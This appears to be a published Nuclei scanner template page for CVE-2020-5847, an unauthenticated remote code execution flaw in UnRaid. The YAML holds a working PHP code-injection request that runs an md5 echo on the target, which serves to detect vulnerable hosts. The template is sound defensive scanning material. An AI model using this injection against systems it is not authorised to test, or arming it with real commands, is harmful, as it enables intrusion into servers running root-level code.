UnRaid <=6.80 - Remote Code Execution

ID: CVE-2020-5847

Severity: critical

Author: madrobot

Tags: cve2020,cve,rce,kev,unraid

Description

UnRaid <=6.80 allows remote unauthenticated attackers to execute arbitrary code.

YAML Source

id: CVE-2020-5847

info:
  name: UnRaid <=6.80 - Remote Code Execution
  author: madrobot
  severity: critical
  description: UnRaid <=6.80 allows remote unauthenticated attackers to execute arbitrary code.
  remediation: |
    Upgrade UnRaid to a version higher than 6.80 to mitigate the vulnerability.
  reference:
    - https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5847
    - https://sysdream.com/news/lab/
    - https://forums.unraid.net/forum/7-announcements/
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-5847
    cwe-id: CWE-94,CWE-668
    epss-score: 0.97053
    epss-percentile: 0.99741
    cpe: cpe:2.3:a:unraid:unraid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: unraid
    product: unraid
  tags: cve2020,cve,rce,kev,unraid

http:
  - method: GET
    path:
      - "{{BaseURL}}/webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20echo%20md5(%22CVE-2020-5847%22);%20?%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "b13928fbcfff659363d7c7d1ec008d56"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100aaf027d1f2e275369913d3f657bc83d2b6d3f6f19c985b8e5b141085c3fcf88d022100dc04c0db3285aa5ce1a799e5528bbd8d2049a7d6b6d6d0f8083c6415a3451278:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-5847.yaml"

View on Github